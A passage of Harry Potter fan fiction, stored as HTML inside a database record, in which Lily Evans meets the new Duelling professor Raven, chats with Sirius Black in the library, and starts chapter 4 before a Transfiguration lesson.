shoulder while the students, recovered from their shock, were applauding politely, looking at the unexpected new teacher with curiosity. When they had quieted, Dumbledore left the professor standing alone at the edge of the platform and retreated to the wall with the other teachers.</p>\n\n<p>&nbsp;</p>\n<p>Professor Raven was a tall, dark haired man, and Lily thought he must have been in his twenties, though you could never be sure with wizards. She couldn&#8217;t make out the colour of his eyes from where she was, and it bothered her. You could tell a lot about a person by looking into their eyes. Anyone could read emotions in a person&#8217;s eyes, but Lily was an expert: she had a gift for it, and if she concentrated hard enough, she could see the soul of that person just by looking into their eyes. She almost never used that gift to its full power though, it left her weak and trembling, and she couldn&#8217;t even do a simple spell like <i>Reparo </i>for almost a day. She contented herself with &#8216;reading&#8217; eyes with more success than other people had. Any strong willed person could, of course, mask their thoughts if they so wished, but it rarely occurred to them that she could read them through their eyes. The gift came from her grandmother, who probably had a few magical cells in her body, albeit not enough to be introduced into the magical world.</p>\n\n<p>&nbsp;</p>\n<p>Lily was very eager to look into Professor Raven&#8217;s eyes. She wanted to know if she could trust him.  But for the moment she would have to listen to what he was saying.</p>\n\n<p>&nbsp;</p>\n<p>It was basically a retelling of what she had told her friends the day before, except that it was a bit more detailed and done in a much more enthusiastic fashion. Lily couldn&#8217;t blame her fellow students for listening so rapturously. The man had a very agreeable voice, smooth and regular, and he knew how to use it to charm his audience. Even Marian, who was seated on her left, seemed quite pleased with this new addition to the Hogwarts&#8217; staff. Lily had to acknowledge that he looked quite dashing in his well-cut robes, pacing along the platform in long strides.</p>\n\n<p>&nbsp;</p>\n<p>A shocked murmur rippled through the throng of students when he announced that all houses would have classes at the same time. But it was quickly replaced with excited chatter when the Competition was mentioned.</p>\n\n<p>&nbsp;</p>\n<p>The professor let the students carry on for little while before raising his hand and asking for silence. Like Dumbledore, he had an aura of authority and power about him, and he was obeyed at once.</p>\n\n<p>&nbsp;</p>\n<p>&quot;There is just one more topic to cover, and then you shall be free to enjoy the rest of your Sunday however you wish,&quot; he said, smiling in what could have been a paternal way if he hadn&#8217;t looked so young. &quot;Duelling can get a bit out of hand when you are experimenting with new charms and spells and we do not wish for anybody to get injured.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The First years squirmed uneasily on their chairs at these words. Some of the older students didn&#8217;t look very much at ease either.</p>\n\n<p>&nbsp;</p>\n<p>&quot;That is why you will be provided with special uniforms for the class. They will be specially charmed to prevent any serious damage being done, and they will be designed to allow you great liberty of movement.&quot;</p>\n\n<p>&nbsp;</p>\n<p>He paused, his gaze sweeping over his future charges. When he spoke again his voice was deeper and he looked very solemn.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Now, I don&#8217;t wish for any of you to have to duel any Dark wizard when you are out of this school&#8217;s protective walls. But it could happen. You won&#8217;t have the uniforms to protect you, and you will have no guarantee your opponent intends to play fair with you. Always keep that in mind, always. For those of you who will be taking part in the competition, the duels will be fought in your regular school uniform: no protection, so that you don&#8217;t forget how it is in real life.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The Great Hall was so silent after that little speech that you could have heard the fluttering of fairy wings. The warning was meant to be taken seriously, and it had been taken very seriously. Satisfied, Professor Raven smiled again and went on.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Madam Malkin will be coming to Hogwarts tomorrow with her assistants, and each year will go and have their measurements taken at different times throughout the day. You will find a timetable on the notice board in your Common Rooms. Your new uniforms should be ready by the end of the week. Well, I think everything has been said. I wish you all a pleasant Sunday, and I will see you in class soon.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The students started filing out of the Great Hall as the teachers left by a side door talking in low voices amongst themselves. Lily and Marian waited until the Hall was almost empty before leaving their seats. They had no wish to be trampled by students eager to go outside and enjoy the rest of their afternoon.</p>\n\n<p>&nbsp;</p>\n<p>As the two friends were starting up the main staircase, Marian asked Lily what she thought of their new professor.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Can&#8217;t tell yet,&quot; she answered. &quot;What did <i>you </i>think of him?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, he is certainly going to make the year much more interesting.&quot; Marian grinned. &quot;I&#8217;m glad they chose someone like him and not like, say, Professor Flitwick.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I heard that Professor Flitwick was a great dueller in his time though,&quot; Lily replied. &quot;And look at it this way: the older the wizard, the more experience he&#8217;s likely to have. Take Dumbledore for example: he is one of the greatest wizards alive. I bet he would have taught us himself if he wasn&#8217;t so occupied with his Headmaster&#8217;s duties.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Marian rolled her eyes. &quot;Lily, Lily, Lily,&quot; she sighed. &quot;What am I going to do with you? You&#8217;re really hopeless.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily frowned, she couldn&#8217;t see what was wrong with her argument.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You missed my point completely,&quot; Marian went on. &quot;I don&#8217;t doubt that Flitwick and Dumbledore are powerful wizards. I just meant that it will be nice to have a young and attractive professor of the male variety teaching us for once. We haven&#8217;t been very lucky in that department until now.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You sound like a lovesick second-year! And what about Wentworth? Already forgotten him?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I do <i>not</i> sound like a lovesick second-year, thank you very much,&quot; Marian said sulkily. &quot;And who said I had any designs on Gregory anyway?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily just raised an eyebrow and Marian knew she wasn&#8217;t fooling her. &quot;Alright, I <i>might</i> have entertained some pleasing fantasies about Gregory,&quot; she conceded. &quot;But it doesn&#8217;t mean I can&#8217;t look around and use my eyes. Boys do that all the time; they call it &#8216;completely detached and objective appreciation&#8217;, it doesn&#8217;t mean anything.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Right.&quot; Lily tried not to smile.</p>\n\n<p>&nbsp;</p>\n<p>Marian looked at Lily through narrowed eyes, as if sensing some scepticism on her friend&#8217;s part. &quot;Right,&quot; she insisted to prove her point. &quot;And what are you doing walking to Gryffindor Tower with me? I thought you said at breakfast that you needed to go to the library after the assembly?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily stopped abruptly and realised that, she was indeed heading for the Tower and had missed the staircase that would have taken her to the library. Marian smirked when she saw the surprised expression on Lily&#8217;s face.</p>\n\n<p>&nbsp;</p>\n<p>&quot;See you later!&quot; she said airily, walking away quickly.</p>\n\n<p>&nbsp;</p>\n<p>Lily watched her friend disappear around a corner and shook her head, a small smile playing on her lips. Marian was the queen of swift escapes, and Lily sometimes wished she possessed that skill; it would have got her out of some past tricky situations she was prone to getting herself into. She often wondered what she would do without Marian; she was like the sister she couldn&#8217;t find in Petunia. Her friend&#8217;s words about what she had felt while looking up on duelling two days ago came back to her, but she pushed them back firmly to some deeply-buried recess of her mind. She never was a real optimistic in the first place and she didn&#8217;t need another thing to blacken the board even more.</p>\n\n<p>&nbsp;</p>\n<p align="CENTER">~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The Library was nearly deserted when Lily stepped in. The librarian, Madam Effingham, was nowhere in sight, and a mound of dusty old books was littering her desk.</p>\n\n<p>&nbsp;</p>\n<p>Lily sighed in frustration. She needed advice on the best books available for her Transfiguration essay and she had intended to ask Madam Effingham. The old witch knew the library like the back of her hand and would have gladly helped her.</p>\n\n<p>&nbsp;</p>\n<p>She spotted a pair of giggling Gryffindor girls seated in a relatively secluded corner. She recognised them at once and started to walk up to them. As she approached their table she could see they were looking through a big black book and she could catch their not-too-discreet conversation.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don&#8217;t you think we should be looking through the 1901-1950 volume?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Of course not Amalia! He can&#8217;t be that old and - oh! Isn&#8217;t that him? It certainly looks like him!&quot;</p>\n\n<p>&nbsp;</p>\n<p>Amalia cocked her head to the side and looked at the picture her friend was pointing out. &quot;Honestly, can&#8217;t you read Julia? It says &#8216;Robert MacDonald&#8217; and not &#8216;Robert <i>Raven</i>&#8217;. Besides, I don&#8217;t think Robert would suit him as a first name.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily had reached them by now, but the girls didn&#8217;t notice her and continued poring through their book.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, perhaps he didn&#8217;t attend Hogwarts... We&#8217;re at the year 1972 now, it&#8217;s too recent.&quot; Julia sighed as she turned another page.</p>\n\n<p>&nbsp;</p>\n<p>Well, I suppose you&#8217;re right, he might <i>not </i>have attended Hogwarts,&quot; Amalia acknowledged. &quot;We&#8217;ll look at the 1901-1950 volume just in case, and if we still can&#8217;t find him, I&#8217;ll owl my cousin Florence who&#8217;s at Beauxbatons. She&#8217;ll do some research and tell us if he went to school there.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Alright.&quot; Julia closed <i>Hogwarts&#8217; Leavers: 1951-____</i> &quot;Let&#8217;s try to find a book on Love Potions too, we&#8217;ve wanted to find one for a while now.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The two friends got a nasty surprise when they stood up and found themselves facing a stern-looking Lily Evans.</p>\n\n<p>&nbsp;</p>\n<p>Lily shook her head and tutted. &quot;Julia and Amalia, how many times do I have to tell you that the Library is here to do <i>serious</i> research and not to host your little conversations?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Amalia&#8217;s glance shifted to Lily&#8217;s shiny prefect badge, pinned in plain view on the Sixth year&#8217;s robes. She swallowed nervously, feeling very small all of a sudden. She always felt small when confronted with someone older than she was, especially if that someone happened to be wearing that little red badge.</p>\n\n<p>&nbsp;</p>\n<p>Lily took pity on the two third-years; she was quite fond of them. &quot;Just go and put that book back where you found it and go and enjoy the rest of the day outside if you don&#8217;t have any homework to finish,&quot; she said gently but firmly.</p>\n\n<p>&nbsp;</p>\n<p>Julia and Amalia looked greatly relieved. They turned around and were about to hurry towards the &#8216;Hogwarts: past, present and future&#8217; section when Lily&#8217;s voice stopped them.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Girls?&quot;</p>\n\n<p>&nbsp;</p>\n<p>They looked back at Lily with trepidation.</p>\n\n<p>&nbsp;</p>\n<p>&quot;There is no need to do a detour through the Potions section once you&#8217;ve put that book back. Love Potions are illegal and you won&#8217;t find anything on them here.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The two girls looked at each other briefly and shifted on their feet uneasily, unsure about how to respond.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don&#8217;t worry,&quot; Lily smiled. &quot;I was thirteen not so long ago and I searched the Potions section through and through with my friend for the same information. I just thought I&#8217;d save you the trouble.&quot; She winked at them.</p>\n\n<p>&nbsp;</p>\n<p>Julia&#8217;s eyes brightened and she looked as if she was about to ask something, but Lily had no intention of continuing the subject. She didn&#8217;t want to encourage them too much, and it would absolutely not do if she told them that she, a prefect, had sneaked into the Restricted Section with Marian, thanks to James&#8217;s &#8216;borrowed&#8217; Invisibility Cloak, and now knew quite a bit on those famous Love Potions.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Do you know where Madam Effingham is by any chance?&quot; she asked, remembering why she had come up to the girls in the first place.</p>\n\n<p>&nbsp;</p>\n<p>&quot;She left some time ago and asked Julian Trevenik to watch the Library while she was gone,&quot; Julia answered, disappointed by the change of subject.</p>\n\n<p>&nbsp;</p>\n<p>Lily glanced briefly at the seventh-year Slytherin prefect working alone at the other end of the room. &quot;Alright then, thank you girls.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You&#8217;re welcome, Lily!&quot; they chorused, grinning like maniacs, happy to get away with no punishment and hardly any sermon.</p>\n\n<p>&nbsp;</p>\n<p>Lily watched them go and decided she would look through the entire Transfiguration section herself since she didn&#8217;t know when Madam Effingham would be back.</p>\n\n<p>&nbsp;</p>\n<p>Twenty minutes later, she came out of the maze-like arrangement of the Library&#8217;s shelves with five books she had trouble keeping in her arms. Still no sign of Madam Effingham, she noticed with frustration. She knew she would have to wait until the librarian came back to check out her books. She dropped her burden on a nearby table and plopped</p>\n<p>down into a chair. She selected &#8216;<i>The Worst That Could Happen To You Or The People In Your Vicinity When Attempting Transfiguration&#8217;</i> from her small pile of books and opened it to the first page.</p>\n\n<p>&nbsp;</p>\n<p>She had only read a couple of paragraphs when a tall black haired boy slid into the seat next to her.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Fancy meeting my darling Poppy in the Library,&quot; he said, his brown eyes twinkling.</p>\n\n<p>&nbsp;</p>\n<p>&quot;If it isn&#8217;t Sirius Black! I think it&#8217;s the first time I&#8217;ve seen <i>you</i> here. To what do we owe this great honour?&quot; Lily teased.</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s the first time you&#8217;ve seen me. But you don&#8217;t monitor the place day and night my dear, far from it. I&#8217;ve been here plenty of times,&quot; Sirius countered, flashing his best smile.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I don&#8217;t doubt it,&quot; Lily responded with a smile of her own. She liked those little talks with Sirius: she couldn&#8217;t remember discussing anything serious with him in all the time she&#8217;d known him. She knew it was only an act he could drop whenever he wished, but it hadn&#8217;t happened with her, and she was glad. &quot;What do you have there?&quot; she asked, noticing the rather worn book he had placed on the table.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Research material.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily leaned forward and looked at the book cover. <i>Everything You Want To Know About Levitation And Other Useful Spells</i>, it read.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I see,&quot; she said, a disapproving scowl on her face. &quot;We covered Levitation charms in first year, Sirius.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Sirius&#8217; smile widened, if that was possible. &quot;Ah, but I need it for, shall we say, the improvement of my mind.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I hope we won&#8217;t see anything flying around in Gryffindor Tower.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don&#8217;t worry, I&#8217;ll practice far away from the Tower.&quot; He grinned like a Cheshire cat. &quot;Probably somewhere near the dungeons.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily leaned back in her chair and crossed her arms on her chest. &quot;All right, out with it, Sirius. Snape or- his excuse for a sidekick- Avery  this time?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Why trouble ourselves with difficult choices? We&#8217;ll include all the sixth-year Slytherin boys, no favouritism.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;How generous of you,&quot; Lily said sarcastically. &quot;Don&#8217;t forget we need to win the House Cup this year. We&#8217;ve lost it to Slytherin the past two years. You don&#8217;t want to lose any points.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;We&#8217;ll make it discreet and inventive. James doesn&#8217;t want to lose his prefect badge, it gives him some advantages he is rather fond of.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily snickered. &quot;You don&#8217;t have to be genius to guess what those &#8216;advantages&#8217; are. All the male prefects are fond of them.&quot; Thoughts of girls sneaked into the Prefect bathroom or taken to the Astronomy Tower after hours swam into her mind. These thoughts annoyed her greatly.</p>\n\n<p>&nbsp;</p>\n<p>Sirius shook his head, as if he could read her mind and disagree with her. &quot;You&#8217;d be surprised if you really knew why he likes being a prefect so much.&quot;</p>\n\n<p>&nbsp;</p>\n<p>He sounded serious when he said that, and Lily&#8217;s curiosity was piqued. &quot;Feel free to enlighten me. I&#8217;m all ears,&quot; she said.</p>\n\n<p>&nbsp;</p>\n<p>Sirius just shrugged and reverted back to his normal self. &quot;Sorry, I&#8217;m sworn to secrecy.&quot; He smiled mischievously.</p>\n\n<p>&nbsp;</p>\n<p>The little git was enjoying teasing her. She should have known.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, it&#8217;s not as if I cared anyway,&quot; she said indifferently, turning back to her book. </p>\n\n<p>&nbsp;</p>\n<p>In truth, she cared a great deal about everything that concerned the four Gryffindor boys. There was a great deal of mystery around them, and she was dying to know all their secrets. She was too considerate to try and search their minds, and besides, they knew all her tricks already. Of the four, James was the most puzzling. At times he was so closed up she doubted that even her grandma could have figured him out. But he could also display an incredible array of naked emotions through those blue eyes of his. Those eyes were all she could see at the moment; it was as if they were printed on the page she was reading. She closed her own emerald eyes tightly, and when she opened them again, words written in black ink were staring back at her. She was not sure that the eye obsession she had was a very healthy one. Raven&#8217;s, now James&#8217;...</p>\n\n<p>&nbsp;</p>\n<p>Lily caught a movement from the corner of her eye and turned her head to see Sirius rummaging through the books she had collected.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Transfiguration, eh? You wouldn&#8217;t be working on that last and particularly nasty essay McGonagall gave us by any chance?&quot;</p>\n\n<p>&nbsp;</p>\n<p> &quot;And what if I am?&quot; Lily asked a bit suspiciously.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, you won&#8217;t find much in those,&quot; he said, indicating the small stack of books. &quot;I borrowed a great one with useful information last week. I&#8217;m finished with my essay and I don&#8217;t need it anymore. I can give it to you it you want.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;That&#8217;s really nice of you, Sirius,&quot; Lily said, a little surprised. &quot;Thank you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;That&#8217;s what friends are for.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The Library&#8217;s doors opened before Lily could reply, and Madam Effingham came in, a big box in her arms, which she dumped on her already disordered desk. Lily gathered her books and got up, but Sirius stayed seated.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Aren&#8217;t you coming?&quot; she asked him.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Nah. It would look too suspicious if <i>I</i> took that book out. It helped generations of troublemakers, you know. Heard of it from my dad. I&#8217;d be better off studying it in secret and taking notes before putting it back discreetly on its shelf.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;ll see you later then,&quot; Lily said before walking away towards Madam Effingham. As she stopped in front of the desk, she could see the librarian was slightly flushed as she tried to organise the old books into neat piles. She looked up when Lily cleared her throat.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Oh, it&#8217;s you, Lily dear,&quot; she said. &quot;I&#8217;m sorry I didn&#8217;t see you, I was just sorting out these books. Professor Raven wanted the school to have a decent Duelling section and he generously donated some books from his own library. I just brought in the last ones.&quot; She patted the box she had come in with, a dreamy look on her face.</p>\n\n<p>&nbsp;</p>\n<p>Poor Professor Raven was going to have a hard time avoiding his quickly growing fan club, Lily thought before handing her books to Mrs Effingham.</p>\n\n<p> She was soon free to go and headed for the door. She turned back to look at Sirius before leaving. He was scribbling furiously on a sheet of parchment that must have passed most of the week in the pocket of his robes, judging from its crumpled appearance. He was actually writing with a Muggle pen, much easier to carry around than a quill and inkbottle.</p>\n\n<p>&nbsp;</p>\n<p>As if sensing her gaze, he glanced up from his notes and gave her a conspiratorial wink.</p>\n\n<p>&nbsp;</p>\n<p>She winked back and left the library, closing the door as noiselessly as she could. She really shouldn&#8217;t encourage the boys in their harassing of the Slytherins, she reprimanded herself as she walked back to Gryffindor Tower.</p>\n\n<p>&nbsp;</p>\n<i></i><p><i>As long as it&#8217;s nothing dangerous, it&#8217;s fine, </i>another voice piped up in her head.</p>\n\n<p>&nbsp;</p>\n<p>Lily didn&#8217;t listen to that voice often but she made an exception this time. Severus Snape had still not paid for the Mudblood insult he had thrown at her on the first day back. Well, a punch in the nose from James wasn&#8217;t exactly nothing, but it wasn&#8217;t supposed to happen so it didn&#8217;t count. She didn&#8217;t like it when things got physical. A good prank and a small humiliation were preferable in her opinion.</p>\n\n<p>&nbsp;</p>\n<p>But then again, the Muggle-born verbal harassment was threatening to get out of hand in the near future. Pranks would do no good against that. Lily could very well see the situation degenerating if restraining measures were not taken. But the issue had been oddly absent from every prefect meeting she had attended since she had received her badge a year ago. While everyone else was in denial, Lily couldn&#8217;t ignore it any more, but she would need strong back-up if she wanted to bring it up. She might be able to talk James into it, and she also would have to approach all the other Gryffindor prefects. Howard could be useful too; they were still on good terms, and he was Head Boy after all: his support would be invaluable.</p>\n\n<p>It seemed she had so much to do all of a sudden that she unconsciously picked up her pace, blowing an annoying strand of hair from her face. She was so lost in her thoughts that it took her more than a few seconds to realise she had bumped into something and was now sitting rather ungraciously on the cold stone floor, her books in a messy heap at her feet.</p>\n\n<p>&nbsp;</p>\n<p>She stared dumbly at the hand that had suddenly appeared in front of her. It was a very nice hand, she thought, studying the long fingers, the clean and short nails. Definitely masculine. It exuded strength and power, and she could see the tensing and relaxing of the tendons as the fingers flexed slightly.</p>\n\n<p>&nbsp;</p>\n<p>If you could judge people by their hands, you would be very careful around the person who was extending that hand. You wouldn&#8217;t want to be on their wrong side.</p>\n\n<p>&nbsp;</p>\n<p>Lily gulped and let her gaze travel up the equally strong wrist, up the strange wizarding watch with all its funny symbols, up the black-clad arm, up to the shoulders, the neck and finally the face: the lips finely chiselled, the straight nose, the eyes...</p>\n\n<p>&nbsp;</p>\n<p>They were the strangest pair of eyes Lily had ever seen. For one, she could read absolutely nothing in them, which was a rare enough occurrence for her to be instantly interested. For another, she had never seen eyes that colour before. The irises were of the palest green sprinkled with bits of a darker green, but the most extraordinary thing was that they were rimmed with purple. The way purple merged with green was fascinating and hypnotising. Lily realised immediately she had found someone much stronger than her in the psychic arts and quickly averted her eyes to prevent him from discovering too much in them.</p>\n\n<p>&nbsp;</p>\n<p>The whole thing couldn&#8217;t have lasted for more than a few seconds. Lily took the hand offered to her and got to her feet. The man was about the same height as James and had the same black hair, but it was cut slightly shorter.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;m very sorry, Professor Raven,&quot; she blurted out. &quot;I wasn&#8217;t watching where I was going.&quot; <i>And you will probably think I&#8217;m an absolute idiot who can&#8217;t even cast a Wingardium Leviosa</i>, she added mentally.</p>\n\n<p>&nbsp;</p>\n<p>The professor smiled, though it seemed a bit forced. Lily cringed inwardly; she had really done it this time. Here was one of those tricky - not to mention embarrassing - situations she wished she could run from as easily as Marian. &quot;You don&#8217;t have to apologise, I wasn&#8217;t watching where I was going either,&quot; he said in a voice that, surprisingly, didn&#8217;t sound at all like the one he had used in the Great Hall. It was strained, like his smile.</p>\n\n<p>&nbsp;</p>\n<p>Clearly, he wanted to get away from her annoying presence as soon as possible. Well, now was the time to experiment with Marian&#8217;s method. She bent and quickly picked up her books from the floor, aware of the professor&#8217;s eye on her the whole time. Her wayward strand of hair had managed to fall back in front of her right eye in the process but she didn&#8217;t care. She gave her brightest smile, said something about looking forward to her Duelling class, and left as quick as she could without actually running.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>.</p>\n\n\n'),
	(170, 4, '\n\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b><u></u></b><u></u><p><u><b>Chapter 4: To hold and protect</b></u>.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>On Monday morning Lily was still angry with herself for acting like a simpleton in front of Professor Raven. And, no matter how hard Marian tried to make conversation at breakfast, it was mostly one-sided.</p>\n\n<p>&nbsp;</p>\n<p>The only positive point was that, according to the timetables pinned on the notice board, she didn&#8217;t have Duelling until Thursday, Lily thought while stirring her cold porridge listlessly in her bowl. If she were lucky, Raven would have forgotten all about the incident by then. Lily fervently hoped so in any case. She knew that she would need a perfect record in Duelling to enter the Auror Training Program. A special recommendation from her professor would come in handy too.</p>\n\n<p>&nbsp;</p>\n<p>Professor Raven hadn&#8217;t come down to breakfast yet, and Lily took this as a good thing, even if it wasn&#8217;t surprising since it was still quite early and the Great Hall was practically empty. Not wanting to push her luck, and not very hungry anyway, she asked Marian if she wanted to head to Transfiguration now. Her friend nodded her assent and snatched one last piece of toast from the table as they stood up.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I never thought I would see the day you wanted to arrive early to Transfiguration,&quot; she said, her mouth full. &quot;McGonagall first thing on a Monday morning isn&#8217;t exactly my idea of fun.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily didn&#8217;t want to reveal the real reason for their early departure from the Great Hall. She hadn&#8217;t told Marian of her run-in with Raven yet, and she didn&#8217;t plan to do so in the immediate future.</p>\n\n<p>&nbsp;</p>\n<p>&quot;There&#8217;s a first time for everything,&quot; she simply said.</p>\n\n<p>&nbsp;</p>\n<p>They arrived in front of the classroom half an hour early and the door was closed and Marian slid down to the floor and leaned against the wall. She looked through her bag and took out some sheets of parchment and the self-refilling quill Lily had given her for her thirteenth birthday.</p>\n\n<p>&nbsp;</p>\n<p>Lily looked at the words, numbers and fractions covering the pages.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Is this your Potions project?&quot; she asked, surprised.</p>\n\n<p>&nbsp;</p>\n<p>Their Potions professor, Septimus Moor, had given them the project in their first lesson but they had all year to complete it. They were to create their own potion, inventing their own formula, and they also had to explain why they chose to work on that particular potion. The goal was not necessarily to end up with a perfect result but to do some extensive research and manage to find all the ingredients needed and their approximate quantity. It was a long and arduous work but Marian had clearly spent a lot of time on it already.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes, I had a brainstorm yesterday and I started writing while it was still fresh in my mind.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;It seems as if you did more than start,&quot; Lily said, sitting down next to her friend, her eyes scanning the papers. Marian had apparently found quite a few of the ingredients she would need already, and she had made several different calculations for the proportions in which they were to be used. &quot;What kind of potion are you trying to make?&quot; she asked curiously. She was familiar with all the ingredients listed on the page but she couldn&#8217;t see what their combination would produce.</p>\n\n<p>&nbsp;</p>\n<p>Marian flushed a bit. &quot;I... it&#8217;s&#8230; I don&#8217;t want to tell you just now. I&#8217;m not sure it can be done at all. It probably can&#8217;t, actually, but I still want to try it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>It was not like Marian to be shy like that, she usually never kept anything from her friends. But Lily knew better than anyone how to respect a person&#8217;s privacy.</p>\n\n<p>&nbsp;</p>\n<p>&quot;That&#8217;s alright,&quot; she said, &quot;you can tell me when you want to, or when you need someone to test it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You don&#8217;t mind me not telling you?&quot; Marian asked, surprised.</p>\n\n<p>&nbsp;</p>\n<p>Lily shook her head, smiling, and Marian laughed.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You&#8217;d better be careful, you know, I might be tempted to take you up on your offer. It&#8217;s not everyday you see someone willing to risk being poisoned by an incompetent lunatic!&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I don&#8217;t think I&#8217;d be taking any risks,&quot; Lily answered. &quot;You&#8217;re top of the class in Potions. Severus Snape would worship the ground you walk on if you weren&#8217;t a Gryffindor! And you&#8217;ll probably end up Potions mistress when old Moor retires.&quot; </p>\n\n<p>&nbsp;</p>\n<p>Marian went red as a tomato at her friend&#8217;s sincere compliments. She mumbled something about Snape hating her and being better than her in Potions before lowering her eyes to her notes.</p>\n\n<p>&nbsp;</p>\n<p>Lily leaned her head against the wall and closed her eyes. They passed time in friendly silence until the first students arrived. She quickly stood up and helped Marian to her feet when she saw they were Slytherins. It wasn&#8217;t a good idea to be at any disadvantage when people belonging to Gryffindor&#8217;s rival house were around.</p>\n\n<p>&nbsp;</p>\n<p>Marian swiftly tucked her notes and quill safely back in her bag as McGonagall arrived. The Transfiguration teacher always arrived five minutes before the beginning of the lesson. She would sit at her desk, going through her papers while the students filled the classroom. When the lesson was due to begin, she would close the door with a wave of her wand and the unlucky latecomers had to stay outside, waiting for the class to finish so they could explain themselves. They usually ended up with a detention. McGonagall was a very strict teacher, but she was also always fair, and thus respected.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Lily!&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily, who had been about to enter the classroom with Marian, turned her head to see Sirius Black walking quickly towards her. James, Remus and Peter were following close behind. She moved out of the doorway and looked expectantly at Sirius.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I wanted to give it to you at breakfast, but you weren&#8217;t in the Great Hall when we came down,&quot; he said, rummaging through his bag.</p>\n\n<p>&nbsp;</p>\n<p>Lily tried not to notice the various suspicious-looking things Sirius pulled out and gave to Remus to hold as he searched for &#8216;it&#8217; in his magically-altered bottomless school bag. He would spend half the year in detention if she were to report them.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Ah! Here it is!&quot; He pulled a thick book out and handed it to her. &quot;You should be able to finish your essay easily now.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The title, <i>Animagi: A History</i>, was plainly visible on the brown cover and Lily was painfully aware of the fact that James could see it too. After her adamant refusal of any kind of help the other day, she hadn&#8217;t wanted him to know about it. She felt like she had betrayed James somehow and was thoroughly ashamed of herself. She chanced a glance at him but quickly turned back to Sirius when she saw the thunderous look in his eyes.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Thank you, Sirius,&quot; she said, grabbing the book and shoving hastily into her own bag.</p>\n\n<p>&nbsp;</p>\n<p>&quot;No problem. It&#8217;s due back to the Library next week, Restricted section.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily nodded and nearly ran into the classroom, Marian in tow. They sat down in their usual seats, toward the back of the room. It was a much better place to be than the front when your semi-Transfigured shoe was trying to run away on its four furry legs.</p>\n\n<p>&nbsp;</p>\n<p>&quot;What was that all about?&quot; Marian asked as the classroom door closed abruptly in the face of Rebecca Avery. Lily wasn&#8217;t sorry for the girl: she was in Slytherin and known for her hatred of Gryffindor House - a Mudblood shelter, in her opinion.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Later,&quot; Lily mouthed as McGonagall started reading the register.</p>\n\n<p>&nbsp;</p>\n<p>Her eyes drifted to James after her name was called. He was in his usual place too, 